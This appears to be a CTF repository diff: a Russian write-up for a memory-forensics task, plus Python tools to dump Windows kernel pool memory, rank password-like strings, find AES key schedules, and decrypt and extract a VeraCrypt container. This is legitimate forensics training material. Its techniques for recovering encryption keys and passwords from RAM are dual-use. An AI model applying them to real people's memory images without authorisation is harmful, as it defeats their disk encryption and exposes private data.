if "ngram_len" in st and int(st["ngram_len"]) != NGRAM_LEN:
raise RuntimeError(f"unexpected ngram_len: {st.get('ngram_len')}")
if "answer_space" in st:
svc_space = int(st["answer_space"])
if svc_space != self.book.dict_size:
max_space = len(self.book.tokens) - NGRAM_LEN + 1
if svc_space <= max_space and (svc_space & (svc_space - 1)) == 0:
print(f"[solver] overriding local dict_size {self.book.dict_size} -> {svc_space} from /status")
self.book.dict_size = svc_space
else:
raise RuntimeError("service answer_space is incompatible with local book")
feed = self.get_feed()
self.maybe_ask_flag_question(epoch, mode, leader, feed)
self.maybe_print_flag_answer(epoch, feed)
self.try_learn_and_break(epoch, leader, feed)
self.play_showtime(epoch, mode, feed)
if leader == self.kid:
print("[solver] I am the leader now!")
except Exception as e:
print("[solver] error:", repr(e))
sleep = 0.02 if mode == "ELECTION" else 0.25 # (не обязательно, но так чуть быстрее)
time.sleep(sleep)
def main() -> None:
ap = argparse.ArgumentParser()
ap.add_argument("--feed", required=True, help="Feed URL, e.g. http://127.0.0.1:9000")
ap.add_argument("--book", required=True, help="Path to KOI8-R book file")
ap.add_argument("--book-encoding", default="koi8_r")
ap.add_argument("--play", action="store_true", help="Actively answer election questions")
args = ap.parse_args()
book = BookNGram.load(args.book, encoding=args.book_encoding)
Player(args.feed, book, play=bool(args.play)).run_forever()
if __name__ == "__main__":
main()

View File

@@ -0,0 +1,90 @@
# HumanAI
Мир захлестнул ИИ‑контент: генерации, копии, шум. Но где‑то в памяти системы есть то, что создано человеком. Найди это https://git.caplag.ru/kernel/HumanAI
## Решение
Всего есть два варианта решения:
1. Плановое решение: восстановление контейнера VeraCrypt + извлечение криптоключей из RAM.
2. Незапланированное решение: извлечение флага через кэш миниатюр Windows.
Сразу же загружаем дамп памяти в **Volatility**, выполняем базовые команды (`pslist`, `filescan` и т. д.).
Что интересного узнаём:
- VeraCrypt был запущен;
- контейнер `human.vc` был смонтирован.
### Потихоньку-помаленьку
Проверяем следы присутствия **VeraCrypt**:
```powershell
vol -q -f .\memdump.mem windows.modules | Select-String -Pattern "veracrypt|truecrypt" -CaseSensitive:$false
vol -q -f .\memdump.mem windows.pslist | Select-String -Pattern "veracrypt" -CaseSensitive:$false
vol -q -f .\memdump.mem windows.symlinkscan | Select-String -Pattern "VeraCrypt|Volume" -CaseSensitive:$false
```
Из этого мы сможем вытянуть достаточно важную информацию. Как минимум мы получим *модуль драйвера* VeraCrypt, его *процесс* и *букву смонтированного тома* вида `K:` -> `\Device\VeraCryptVolume...`.
### Плановый вариант решения
Начнем с того, что восстановим `human.vc` из памяти. Ищем файловый объект:
```powershell
vol -q -f .\memdump.mem -r csv windows.filescan | Select-String -Pattern "human\\.vc|\\.vc$" -CaseSensitive:$false
```
Дальше выгружаем файл через `dumpfiles`:
```powershell
mkdir out\dumpfiles -Force | Out-Null
vol -q -f .\memdump.mem -o out\dumpfiles windows.dumpfiles --filter "human\\.vc$|human\\.vc" --ignore-case
```
Обычно нужный файл находится среди объектов `SharedCacheMap` (часто с расширением `.vacb`). П
Пароль может не сохраниться в памяти, поэтому надёжнее идти через мастер-ключи. Одна из рабочих точек входа - *Big Pool*:
```powershell
vol -q -f .\memdump.mem -r csv windows.bigpools | Select-String -Pattern "VCMM|TC|VC" -CaseSensitive:$false
```
Дальше нужно производим выгрузку памяти по подходящим `pool tag` и осуществляема поиск пар ключей AES-256 для XTS (`key_a`, `key_b`). Основными признаками, что мы вышли на верные ключи:
- находятся две разные 32-байтовые последовательности;
- они стабильно повторяются в связанных дампах.
Проверяем, что ключи действительно дешифруют начало файловой системы. Для VeraCrypt данные начнутся после оффсета на `0x20000`. После AES-XTS-дешифровки сектора структура должна быть похожа на boot sector файловой системы и сигнатуры и поля должны выглядеть осмысленно, а не как случайный шум.
После подтверждения ключей и оффсета:
- расшифровываем контейнер;
- парсим файловую систему (в этом таске была FAT32);
- извлекаем файлы и находим флаг.
### Неожиданный вариант решения
Эта ветка сработала без полного дешифрования контейнера. В дампе можно искать строки, связанные с путём к файлу флага:
```powershell
strings -n 6 .\memdump.mem | Select-String -Pattern "flag|thumbcache|\\\.png|\\\.jpg|K:\\" -CaseSensitive:$false
```
Таким образом в памяти встретится путь к `flag.png` на смонтированном томе VeraCrypt. Теперь проверим, есть ли исходный файл в файловых объектах:
```powershell
vol -q -f .\memdump.mem windows.filescan | Select-String -Pattern "flag\\.png|flag" -CaseSensitive:$false
```
Напрямую файл `flag.png` найти не получится, но это не тупик. Приступаем к изучению следующего потенциального кандидата - кэш миниатюр Windows:
```powershell
vol -q -f .\memdump.mem windows.filescan | Select-String -Pattern "thumbcache_.*\\.db|thumbcache" -CaseSensitive:$false
```
Выгрузим найденные объекты:
```powershell
mkdir out\thumbs -Force | Out-Null
vol -q -f .\memdump.mem -o out\thumbs windows.dumpfiles --filter "thumbcache_.*\\.db|thumbcache" --ignore-case
```
И теперь, наконец, извлечем изображения из дампа кэша. Как вариант, можно воспользоваться `carving`:
```powershell
cd .\out\thumbs
Get-ChildItem -File | ForEach-Object { binwalk -e -M $_.FullName }
```
После этого просматриваем извлечённые изображения. Флаг окажется в одной из миниатюр.

View File

@@ -0,0 +1,108 @@
import logging
from typing import Iterator, List, Optional, Tuple
from volatility3.framework import exceptions, interfaces, renderers
from volatility3.framework.configuration import requirements
from volatility3.framework.renderers import format_hints
from volatility3.plugins.windows import bigpools
vollog = logging.getLogger(__name__)
class BigPoolDump(interfaces.plugins.PluginInterface):
_version = (0, 1, 0)
_required_framework_version = (2, 0, 0)
@classmethod
def get_requirements(cls) -> List[interfaces.configuration.RequirementInterface]:
return [
requirements.ModuleRequirement(
name="kernel",
description="Windows kernel",
architectures=["Intel32", "Intel64"],
),
requirements.VersionRequirement(
name="bigpools", component=bigpools.BigPools, version=(2, 0, 0)
),
requirements.StringRequirement(
name="tags",
description="Comma-separated list of pool tags to dump (e.g. TcDN,Tcpt)",
optional=False,
),
requirements.BooleanRequirement(
name="include-free",
description="Include freed allocations",
default=False,
optional=True,
),
]
def _dump_one(self, addr: int, size: int, tag: str) -> Optional[str]:
kernel = self.context.modules[self.config["kernel"]]
layer = self.context.layers[kernel.layer_name]
filename = f"bigpool.{tag}.0x{addr:016x}.0x{size:x}.dmp"
try:
data = layer.read(addr, size, pad=True)
except exceptions.InvalidAddressException:
return None
try:
with self.open(filename) as fp:
fp.write(data)
return filename
except OSError:
return None
def _generator(self) -> Iterator[Tuple[int, Tuple[object, ...]]]:
tags = [t.strip() for t in (self.config.get("tags") or "").split(",") if t.strip()]
if not tags:
vollog.warning("No tags specified")
return
show_free = bool(self.config.get("include-free"))
for big_pool in bigpools.BigPools.list_big_pools(
context=self.context,
kernel_module_name=self.config["kernel"],
tags=tags,
show_free=show_free,
):
tag = big_pool.get_key()
size = big_pool.get_number_of_bytes()
if isinstance(size, interfaces.renderers.BaseAbsentValue):
continue
addr = int(big_pool.Va) & ~1
dumped_as = self._dump_one(addr, int(size), tag)
if dumped_as is None:
dumped_as = renderers.UnreadableValue()
status = "Free" if big_pool.is_free() else "Allocated"
yield (
0,
(
format_hints.Hex(addr),
tag,
format_hints.Hex(int(size)),
big_pool.get_pool_type(),
status,
dumped_as,
),
)
def run(self) -> renderers.TreeGrid:
return renderers.TreeGrid(
[
("Allocation", format_hints.Hex),
("Tag", str),
("NumberOfBytes", format_hints.Hex),
("PoolType", str),
("Status", str),
("File output", str),
],
self._generator(),
)

View File

@@ -0,0 +1,188 @@
import argparse
import math
import re
from dataclasses import dataclass
from pathlib import Path
from typing import Dict, Iterable, Iterator, List, Tuple
ASCII_RE_TEMPLATE = rb"[ -~]{%d,%d}"
UTF16LE_ASCII_RE_TEMPLATE = rb"(?:[ -~]\x00){%d,%d}"
@dataclass
class Hit:
s: str
score: float
file: Path
offset: int
kind: str
count: int = 1
def iter_files(paths: Iterable[str]) -> Iterator[Path]:
for p in paths:
path = Path(p)
if path.is_dir():
for child in sorted(path.rglob("*")):
if child.is_file():
yield child
elif path.is_file():
yield path
def shannon_entropy(s: str) -> float:
if not s:
return 0.0
freq: Dict[str, int] = {}
for ch in s:
freq[ch] = freq.get(ch, 0) + 1
n = len(s)
ent = 0.0
for c in freq.values():
p = c / n
ent -= p * math.log2(p)
return ent
BAD_SUBSTRINGS = (
"\\\\",
"\\Registry\\",
"\\Registry",
"\\BaseNamedObjects\\",
"\\BaseNamedObjects",
":\\",
"/",
"System32",
"Windows",
"Microsoft",
"CLSID",
"AppX",
"shell:::",
"atom(",
".dll",
".exe",
".sys",
".ini",
".mui",
".nls",
".png",
".jpg",
".jpeg",
".gif",
".ttf",
".otf",
".wav",
".mp3",
".mp4",
".sqlite",
)
def looks_passwordish(s: str) -> bool:
if any(ch in s for ch in ('\\', '/', ':', '<', '>', '"', "'", '=', '\t', '\r', '\n')):
return False
if any(bad in s for bad in BAD_SUBSTRINGS):
return False
if s.startswith("http://") or s.startswith("https://"):
return False
if s.count(" ") >= 4:
return False
if len(set(s)) <= 3:
return False
if re.fullmatch(r"[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}", s):
return False
return True
def score_string(s: str) -> float:
has_lower = any("a" <= c <= "z" for c in s)
has_upper = any("A" <= c <= "Z" for c in s)
has_digit = any("0" <= c <= "9" for c in s)
has_special = any(not c.isalnum() for c in s)
ent = shannon_entropy(s)
score = ent * len(s)
score += 5.0 * has_lower
score += 5.0 * has_upper
score += 5.0 * has_digit
score += 5.0 * has_special
if " " in s:
score -= 2.0
if s.islower() or s.isupper():
score -= 1.0
if all(c in "0123456789abcdefABCDEF" for c in s):
score -= 3.0
return score
def extract_hits(data: bytes, *, min_len: int, max_len: int) -> Iterator[Tuple[str, int, str]]:
ascii_re = re.compile(ASCII_RE_TEMPLATE % (min_len, max_len))
utf16_re = re.compile(UTF16LE_ASCII_RE_TEMPLATE % (min_len, max_len))
for m in ascii_re.finditer(data):
s = m.group(0).decode("ascii", errors="ignore")
yield s, m.start(), "ascii"
for m in utf16_re.finditer(data):
raw = m.group(0)
s = raw[::2].decode("ascii", errors="ignore")
yield s, m.start(), "utf16le"
def main() -> int:
ap = argparse.ArgumentParser()
ap.add_argument("paths", nargs="+", help="Files/dirs to scan")
ap.add_argument("--min-len", type=int, default=8)
ap.add_argument("--max-len", type=int, default=64)
ap.add_argument("--top", type=int, default=80)
ap.add_argument("--grep", type=str, default="", help="Only show hits containing this substring")
args = ap.parse_args()
best: Dict[str, Hit] = {}
grep = args.grep
for fp in iter_files(args.paths):
if fp.suffix.lower() not in (".dmp", ".mem", ".raw", ".bin", ""):
continue
try:
data = fp.read_bytes()
except Exception:
continue
for s, off, kind in extract_hits(data, min_len=args.min_len, max_len=args.max_len):
if grep and grep not in s:
continue
if not looks_passwordish(s):
continue
sc = score_string(s)
existing = best.get(s)
if existing is None:
best[s] = Hit(s=s, score=sc, file=fp, offset=off, kind=kind)
else:
existing.count += 1
if sc > existing.score:
existing.score = sc
existing.file = fp
existing.offset = off
existing.kind = kind
hits: List[Hit] = sorted(best.values(), key=lambda h: h.score, reverse=True)
if not hits:
print("[!] No candidates found")
return 2
for h in hits[: args.top]:
print(f"{h.score:8.2f}\t{h.count:4d}\t{h.kind}\t{h.file}\t0x{h.offset:X}\t{h.s}")
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,346 @@
import argparse
import os
import struct
from dataclasses import dataclass
from pathlib import Path
from typing import Dict, Iterable, Iterator, List, Optional, Tuple
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
SECTOR_SIZE = 512
@dataclass
class Fat32BPB:
bytes_per_sector: int
sectors_per_cluster: int
reserved_sectors: int
num_fats: int
total_sectors: int
fat_size_sectors: int
root_cluster: int
@property
def first_fat_sector(self) -> int:
return self.reserved_sectors
@property
def first_data_sector(self) -> int:
return self.reserved_sectors + self.num_fats * self.fat_size_sectors
class VeraCryptFileVolume:
"""Reads plaintext sectors from a VeraCrypt file container that is already decrypted in RAM (keys known)."""
def __init__(self, container: Path, xts_key: bytes, data_offset: int, data_length: Optional[int] = None):
self.container = container
self.xts_key = xts_key
self.base_file_sector = data_offset // SECTOR_SIZE
if data_offset % SECTOR_SIZE != 0:
raise ValueError("data_offset must be sector-aligned")
st = container.stat()
if data_length is None:
# Assume standard file container layout: header area at start AND backup header at end.
data_length = st.st_size - 2 * data_offset
self.data_length = data_length
if self.data_length < SECTOR_SIZE or self.data_length % SECTOR_SIZE != 0:
raise ValueError("data_length must be a positive multiple of sector size")
self.total_sectors = self.data_length // SECTOR_SIZE
self._fh = open(container, "rb")
def close(self) -> None:
try:
self._fh.close()
except Exception:
pass
def _decrypt_sector(self, file_sector: int, ct: bytes) -> bytes:
tweak = int(file_sector).to_bytes(16, "little", signed=False)
dec = Cipher(algorithms.AES(self.xts_key), modes.XTS(tweak)).decryptor()
return dec.update(ct) + dec.finalize()
def read_sector(self, vol_sector: int) -> bytes:
if not (0 <= vol_sector < self.total_sectors):
raise ValueError("volume sector out of range")
file_sector = self.base_file_sector + vol_sector
self._fh.seek(file_sector * SECTOR_SIZE)
ct = self._fh.read(SECTOR_SIZE)
if len(ct) != SECTOR_SIZE:
raise IOError("short read")
return self._decrypt_sector(file_sector, ct)
def parse_fat32_bpb(boot_sector: bytes) -> Fat32BPB:
oem = boot_sector[3:11]
if oem != b"MSDOS5.0":
raise ValueError(f"Unexpected OEM {oem!r} (expected MSDOS5.0)")
bps = struct.unpack_from("<H", boot_sector, 11)[0]
spc = boot_sector[13]
rsvd = struct.unpack_from("<H", boot_sector, 14)[0]
nfats = boot_sector[16]
root_ent_cnt = struct.unpack_from("<H", boot_sector, 17)[0]
tot16 = struct.unpack_from("<H", boot_sector, 19)[0]
fatsz16 = struct.unpack_from("<H", boot_sector, 22)[0]
tot32 = struct.unpack_from("<I", boot_sector, 32)[0]
fatsz32 = struct.unpack_from("<I", boot_sector, 36)[0]
root_clus = struct.unpack_from("<I", boot_sector, 44)[0]
if bps != SECTOR_SIZE:
raise ValueError(f"Unsupported bytes/sector: {bps}")
if root_ent_cnt != 0:
raise ValueError("Not FAT32 (root entry count != 0)")
if fatsz16 != 0:
raise ValueError("Not FAT32 (FATSz16 != 0)")
tot = tot32 or tot16
if tot == 0:
raise ValueError("Invalid total sectors")
if spc == 0:
raise ValueError("Invalid sectors/cluster")
if nfats < 1:
raise ValueError("Invalid number of FATs")
if fatsz32 == 0:
raise ValueError("Invalid FAT size")
if root_clus < 2:
raise ValueError("Invalid root cluster")
return Fat32BPB(
bytes_per_sector=bps,
sectors_per_cluster=spc,
reserved_sectors=rsvd,
num_fats=nfats,
total_sectors=tot,
fat_size_sectors=fatsz32,
root_cluster=root_clus,
)
def sanitize_name(s: str) -> str:
# Minimal cross-platform path sanitization.
s = s.replace("\\", "_").replace("/", "_").replace(":", "_")
s = s.strip().strip(".")
return s or "_"
def parse_short_name(ent: bytes) -> str:
name = ent[0:8].decode("ascii", errors="ignore").rstrip(" ")
ext = ent[8:11].decode("ascii", errors="ignore").rstrip(" ")
if not ext:
return name
return f"{name}.{ext}"
def parse_lfn_part(ent: bytes) -> str:
# LFN is UTF-16LE in three chunks
raw = ent[1:11] + ent[14:26] + ent[28:32]
out_chars: List[str] = []
for i in range(0, len(raw), 2):
(ch,) = struct.unpack_from("<H", raw, i)
if ch in (0x0000, 0xFFFF):
continue
out_chars.append(chr(ch))
return "".join(out_chars)
@dataclass
class DirEntry:
name: str
is_dir: bool
cluster: int
size: int
class Fat32:
def __init__(self, vol: VeraCryptFileVolume, bpb: Fat32BPB):
self.vol = vol
self.bpb = bpb
self._fat_sector_cache: Dict[int, bytes] = {}
def vol_sector_for_cluster(self, cluster: int) -> int:
return self.bpb.first_data_sector + (cluster - 2) * self.bpb.sectors_per_cluster
def read_fat_sector(self, fat_sector_index: int) -> bytes:
if fat_sector_index not in self._fat_sector_cache:
self._fat_sector_cache[fat_sector_index] = self.vol.read_sector(
self.bpb.first_fat_sector + fat_sector_index
)
return self._fat_sector_cache[fat_sector_index]
def fat_entry(self, cluster: int) -> int:
# FAT32 entry is 4 bytes, lower 28 bits used
off = cluster * 4
sector_index = off // SECTOR_SIZE
sector_off = off % SECTOR_SIZE
sec = self.read_fat_sector(sector_index)
(val,) = struct.unpack_from("<I", sec, sector_off)
return val & 0x0FFFFFFF
def iter_cluster_chain(self, start_cluster: int, *, max_steps: int = 200000) -> Iterator[int]:
cl = start_cluster
steps = 0
while 2 <= cl < 0x0FFFFFF8:
yield cl
nxt = self.fat_entry(cl)
if nxt == cl:
break
cl = nxt
steps += 1
if steps > max_steps:
raise RuntimeError("cluster chain too long (loop?)")
def read_cluster(self, cluster: int) -> bytes:
vsec0 = self.vol_sector_for_cluster(cluster)
buf = bytearray()
for i in range(self.bpb.sectors_per_cluster):
buf += self.vol.read_sector(vsec0 + i)
return bytes(buf)
def read_chain_data(self, start_cluster: int, size: int) -> bytes:
buf = bytearray()
for cl in self.iter_cluster_chain(start_cluster):
buf += self.read_cluster(cl)
if len(buf) >= size:
break
return bytes(buf[:size])
def read_directory(self, start_cluster: int) -> List[DirEntry]:
entries: List[DirEntry] = []
lfn_parts: List[str] = []
for cl in self.iter_cluster_chain(start_cluster):
data = self.read_cluster(cl)
for off in range(0, len(data), 32):
ent = data[off : off + 32]
first = ent[0]
if first == 0x00:
return entries
if first == 0xE5:
lfn_parts.clear()
continue
attr = ent[11]
if attr == 0x0F:
lfn_parts.append(parse_lfn_part(ent))
continue
name = ""
if lfn_parts:
name = "".join(reversed(lfn_parts))
lfn_parts.clear()
else:
name = parse_short_name(ent)
# Skip volume labels
if attr & 0x08:
continue
# Skip "." and ".."
if name in (".", ".."):
continue
is_dir = bool(attr & 0x10)
hi = struct.unpack_from("<H", ent, 20)[0]
lo = struct.unpack_from("<H", ent, 26)[0]
first_cluster = (hi << 16) | lo
size = struct.unpack_from("<I", ent, 28)[0]
entries.append(
DirEntry(
name=name,
is_dir=is_dir,
cluster=first_cluster,
size=size,
)
)
return entries
def walk_and_extract(
fs: Fat32,
start_cluster: int,
out_dir: Path,
rel_path: str = "",
*,
max_files: int = 5000,
) -> List[Path]:
extracted: List[Path] = []
stack: List[Tuple[int, str]] = [(start_cluster, rel_path)]
seen_dirs: set[Tuple[int, str]] = set()
while stack:
cl, rpath = stack.pop()
key = (cl, rpath)
if key in seen_dirs:
continue
seen_dirs.add(key)
for ent in fs.read_directory(cl):
name = sanitize_name(ent.name)
child_rel = os.path.join(rpath, name) if rpath else name
out_path = out_dir / child_rel
if ent.is_dir:
if ent.cluster >= 2:
stack.append((ent.cluster, child_rel))
continue
if ent.cluster < 2:
continue
out_path.parent.mkdir(parents=True, exist_ok=True)
data = fs.read_chain_data(ent.cluster, ent.size)
out_path.write_bytes(data)
extracted.append(out_path)
if len(extracted) >= max_files:
return extracted
return extracted
def main() -> int:
ap = argparse.ArgumentParser(description="Extract FAT32 files from a VeraCrypt container using recovered XTS keys")
ap.add_argument("container", type=Path)
ap.add_argument("--key-a", required=True, help="32-byte hex key A (data key)")
ap.add_argument("--key-b", required=True, help="32-byte hex key B (tweak key)")
ap.add_argument("--data-offset", default="0x20000", help="Start of encrypted volume area (default: 0x20000)")
ap.add_argument(
"--out-dir",
type=Path,
default=Path("out") / "vc_extracted",
help="Output directory (default: out/vc_extracted)",
)
args = ap.parse_args()
key_a = bytes.fromhex(args.key_a)
key_b = bytes.fromhex(args.key_b)
if len(key_a) != 32 or len(key_b) != 32:
raise SystemExit("Keys must be 32 bytes each")
data_offset = int(str(args.data_offset), 0)
xts_key = key_a + key_b
args.out_dir.mkdir(parents=True, exist_ok=True)
vol = VeraCryptFileVolume(args.container, xts_key, data_offset)
try:
boot = vol.read_sector(0) # volume sector 0 maps to file sector base_file_sector
bpb = parse_fat32_bpb(boot)
print(
f"[i] FAT32: total_sectors={bpb.total_sectors} spc={bpb.sectors_per_cluster} "
f"reserved={bpb.reserved_sectors} fats={bpb.num_fats} fatsz={bpb.fat_size_sectors} root={bpb.root_cluster}"
)
fs = Fat32(vol, bpb)
extracted = walk_and_extract(fs, bpb.root_cluster, args.out_dir)
print(f"[i] Extracted {len(extracted)} files into {args.out_dir}")
return 0
finally:
vol.close()
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,459 @@
import argparse
from dataclasses import dataclass
from pathlib import Path
from typing import Iterable, Iterator, List, Optional, Sequence, Set, Tuple
SBOX = [
0x63,
0x7C,
0x77,
0x7B,
0xF2,
0x6B,
0x6F,
0xC5,
0x30,
0x01,
0x67,
0x2B,
0xFE,
0xD7,
0xAB,
0x76,
0xCA,
0x82,
0xC9,
0x7D,
0xFA,
0x59,
0x47,
0xF0,
0xAD,
0xD4,
0xA2,
0xAF,
0x9C,
0xA4,
0x72,
0xC0,
0xB7,
0xFD,
0x93,
0x26,
0x36,
0x3F,
0xF7,
0xCC,
0x34,
0xA5,
0xE5,
0xF1,
0x71,
0xD8,
0x31,
0x15,
0x04,
0xC7,
0x23,
0xC3,
0x18,
0x96,
0x05,
0x9A,
0x07,
0x12,
0x80,
0xE2,
0xEB,
0x27,
0xB2,
0x75,
0x09,
0x83,
0x2C,
0x1A,
0x1B,
0x6E,
0x5A,
0xA0,
0x52,
0x3B,
0xD6,
0xB3,
0x29,
0xE3,
0x2F,
0x84,
0x53,
0xD1,
0x00,
0xED,
0x20,
0xFC,
0xB1,
0x5B,
0x6A,
0xCB,
0xBE,
0x39,
0x4A,
0x4C,
0x58,
0xCF,
0xD0,
0xEF,
0xAA,
0xFB,
0x43,
0x4D,
0x33,
0x85,
0x45,
0xF9,
0x02,
0x7F,
0x50,
0x3C,
0x9F,
0xA8,
0x51,
0xA3,
0x40,
0x8F,
0x92,
0x9D,
0x38,
0xF5,
0xBC,
0xB6,
0xDA,
0x21,
0x10,
0xFF,
0xF3,
0xD2,
0xCD,
0x0C,
0x13,
0xEC,
0x5F,
0x97,
0x44,
0x17,
0xC4,
0xA7,
0x7E,
0x3D,
0x64,
0x5D,
0x19,
0x73,
0x60,
0x81,
0x4F,
0xDC,
0x22,
0x2A,
0x90,
0x88,
0x46,
0xEE,
0xB8,
0x14,
0xDE,
0x5E,
0x0B,
0xDB,
0xE0,
0x32,
0x3A,
0x0A,
0x49,
0x06,
0x24,
0x5C,
0xC2,
0xD3,
0xAC,
0x62,
0x91,
0x95,
0xE4,
0x79,
0xE7,
0xC8,
0x37,
0x6D,
0x8D,
0xD5,
0x4E,
0xA9,
0x6C,
0x56,
0xF4,
0xEA,
0x65,
0x7A,
0xAE,
0x08,
0xBA,
0x78,
0x25,
0x2E,
0x1C,
0xA6,
0xB4,
0xC6,
0xE8,
0xDD,
0x74,
0x1F,
0x4B,
0xBD,
0x8B,
0x8A,
0x70,
0x3E,
0xB5,
0x66,
0x48,
0x03,
0xF6,
0x0E,
0x61,
0x35,
0x57,
0xB9,
0x86,
0xC1,
0x1D,
0x9E,
0xE1,
0xF8,
0x98,
0x11,
0x69,
0xD9,
0x8E,
0x94,
0x9B,
0x1E,
0x87,
0xE9,
0xCE,
0x55,
0x28,
0xDF,
0x8C,
0xA1,
0x89,
0x0D,
0xBF,
0xE6,
0x42,
0x68,
0x41,
0x99,
0x2D,
0x0F,
0xB0,
0x54,
0xBB,
0x16,
]
def rot_word_be(w: int) -> int:
return ((w << 8) & 0xFFFFFFFF) | ((w >> 24) & 0xFF)
def sub_word_be(w: int) -> int:
return (
(SBOX[(w >> 24) & 0xFF] << 24)
| (SBOX[(w >> 16) & 0xFF] << 16)
| (SBOX[(w >> 8) & 0xFF] << 8)
| (SBOX[w & 0xFF])
)
def rot_word_le(w: int) -> int:
b = w.to_bytes(4, "little")
b = b[1:] + b[:1]
return int.from_bytes(b, "little")
def sub_word_le(w: int) -> int:
b = w.to_bytes(4, "little")
sb = bytes([SBOX[x] for x in b])
return int.from_bytes(sb, "little")
def xtime(x: int) -> int:
x <<= 1
if x & 0x100:
x ^= 0x11B
return x & 0xFF
def rcon_word(i: int, *, endian: str) -> int:
rc = 1
for _ in range(1, i):
rc = xtime(rc)
if endian == "be":
return rc << 24
return rc
def total_words_for_nk(nk: int) -> int:
if nk == 4:
nr = 10
elif nk == 6:
nr = 12
elif nk == 8:
nr = 14
else:
raise ValueError(f"Unsupported Nk={nk}")
return 4 * (nr + 1)
def expand_key(words0: Sequence[int], *, nk: int, endian: str) -> List[int]:
tw = total_words_for_nk(nk)
w = list(words0[:nk]) + [0] * (tw - nk)
if endian == "be":
rot = rot_word_be
sub = sub_word_be
elif endian == "le":
rot = rot_word_le
sub = sub_word_le
else:
raise ValueError("endian must be 'be' or 'le'")
for i in range(nk, tw):
temp = w[i - 1]
if i % nk == 0:
temp = sub(rot(temp)) ^ rcon_word(i // nk, endian=endian)
elif nk > 6 and i % nk == 4:
temp = sub(temp)
w[i] = w[i - nk] ^ temp
return w
def schedule_matches(words: Sequence[int], *, nk: int, endian: str) -> bool:
tw = total_words_for_nk(nk)
if len(words) < tw:
return False
exp = expand_key(words, nk=nk, endian=endian)
return all((words[i] & 0xFFFFFFFF) == exp[i] for i in range(tw))
def iter_files(paths: Iterable[str]) -> Iterator[Path]:
for p in paths:
path = Path(p)
if path.is_dir():
for child in sorted(path.rglob("*")):
if child.is_file():
yield child
elif path.is_file():
yield path
@dataclass(frozen=True)
class Hit:
file: Path
offset: int
nk: int
word_endian: str
byte_endian: str
key_bytes: bytes
def scan_file(fp: Path, *, nk_list: Sequence[int]) -> List[Hit]:
data = fp.read_bytes()
hits: List[Hit] = []
for nk in nk_list:
tw = total_words_for_nk(nk)
nbytes = tw * 4
if len(data) < nbytes:
continue
for off in range(0, len(data) - nbytes + 1, 4):
for word_endian in ("little", "big"):
words = [
int.from_bytes(
data[off + 4 * i : off + 4 * i + 4], byteorder=word_endian
)
for i in range(tw)
]
for byte_endian in ("be", "le"):
if schedule_matches(words, nk=nk, endian=byte_endian):
if byte_endian == "be":
key = b"".join(w.to_bytes(4, "big") for w in words[:nk])
else:
key = b"".join(w.to_bytes(4, "little") for w in words[:nk])
hits.append(
Hit(
file=fp,
offset=off,
nk=nk,
word_endian=word_endian,
byte_endian=byte_endian,
key_bytes=key,
)
)
return hits
def main() -> int:
ap = argparse.ArgumentParser(description="Find AES key schedules in raw dumps")
ap.add_argument("paths", nargs="+", help="Files and/or directories to scan")
ap.add_argument("--nk", type=int, default=8, help="AES Nk words: 4=128-bit, 6=192-bit, 8=256-bit (default: 8)")
ap.add_argument(
"--also",
type=str,
default="",
help="Comma-separated extra Nk values to scan (e.g. 4,6)",
)
args = ap.parse_args()
nk_list = [args.nk]
if args.also:
for part in args.also.split(","):
part = part.strip()
if not part:
continue
nk_list.append(int(part))
nk_list = sorted(set(nk_list))
seen: Set[Tuple[int, str, bytes]] = set()
total = 0
for fp in iter_files(args.paths):
if fp.suffix.lower() not in (".dmp", ".bin", ".raw", ".mem", ""):
continue
try:
hits = scan_file(fp, nk_list=nk_list)
except Exception:
continue
for h in hits:
k = (h.nk, h.word_endian, h.byte_endian, h.key_bytes)
if k in seen:
continue
seen.add(k)
total += 1
print(
f"{h.file}\t0x{h.offset:X}\tNk={h.nk}\tword={h.word_endian}\tbytes={h.byte_endian}\tkey={h.key_bytes.hex()}"
)
if total == 0:
print("[!] No AES key schedules found")
return 2
return 0
if __name__ == "__main__":
raise SystemExit(main())

View File

@@ -0,0 +1,99 @@
import argparse
from pathlib import Path
from typing import Iterable, List, Tuple
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
def decrypt_xts_sector(ct: bytes, xts_key: bytes, sector_no: int) -> bytes:
tweak = int(sector_no).to_bytes(16, "little", signed=False)
cipher = Cipher(algorithms.AES(xts_key), modes.XTS(tweak))
dec = cipher.decryptor()
return dec.update(ct) + dec.finalize()
def looks_like_boot_sector(pt: bytes) -> List[str]:
hits: List[str] = []
if len(pt) < 512:
return hits
if pt[510:512] == b"\x55\xaa":
hits.append("55aa")
sig = pt[3:11]
if sig == b"NTFS ":
hits.append("NTFS")
if sig == b"EXFAT ":
hits.append("EXFAT")
if sig.startswith(b"FAT"):
hits.append(sig.decode("ascii", errors="ignore"))
if pt[0] in (0xEB, 0xE9) and pt[2] == 0x90:
hits.append("jmp")
return hits
def main() -> int:
ap = argparse.ArgumentParser(description="Probe VeraCrypt container using AES-XTS keys")
ap.add_argument("container", type=Path)
ap.add_argument("--key-a", required=True, help="32-byte hex key A")
ap.add_argument("--key-b", required=True, help="32-byte hex key B")
ap.add_argument(
"--offsets",
default="0,0x10000,0x20000",
help="Comma-separated file offsets to try (default: 0,0x10000,0x20000)",
)
ap.add_argument(
"--tweak-bases",
default="auto",
help="Comma-separated sector numbers to try as tweak base, or 'auto' for 0 and offset/512",
)
args = ap.parse_args()
key_a = bytes.fromhex(args.key_a)
key_b = bytes.fromhex(args.key_b)
if len(key_a) != 32 or len(key_b) != 32:
raise SystemExit("Keys must be 32 bytes each (64 hex chars)")
offsets: List[int] = []
for part in args.offsets.split(","):
part = part.strip()
if not part:
continue
offsets.append(int(part, 0))
data = args.container.read_bytes()
key_orders: List[Tuple[str, bytes]] = [
("A||B", key_a + key_b),
("B||A", key_b + key_a),
]
for off in offsets:
if off + 512 > len(data):
continue
ct = data[off : off + 512]
if args.tweak_bases.strip().lower() == "auto":
tweak_bases = sorted({0, off // 512})
else:
tweak_bases = []
for part in args.tweak_bases.split(","):
part = part.strip()
if not part:
continue
tweak_bases.append(int(part, 0))
for base in tweak_bases:
for label, xts_key in key_orders:
pt = decrypt_xts_sector(ct, xts_key, base)
hits = looks_like_boot_sector(pt)
if hits:
print(
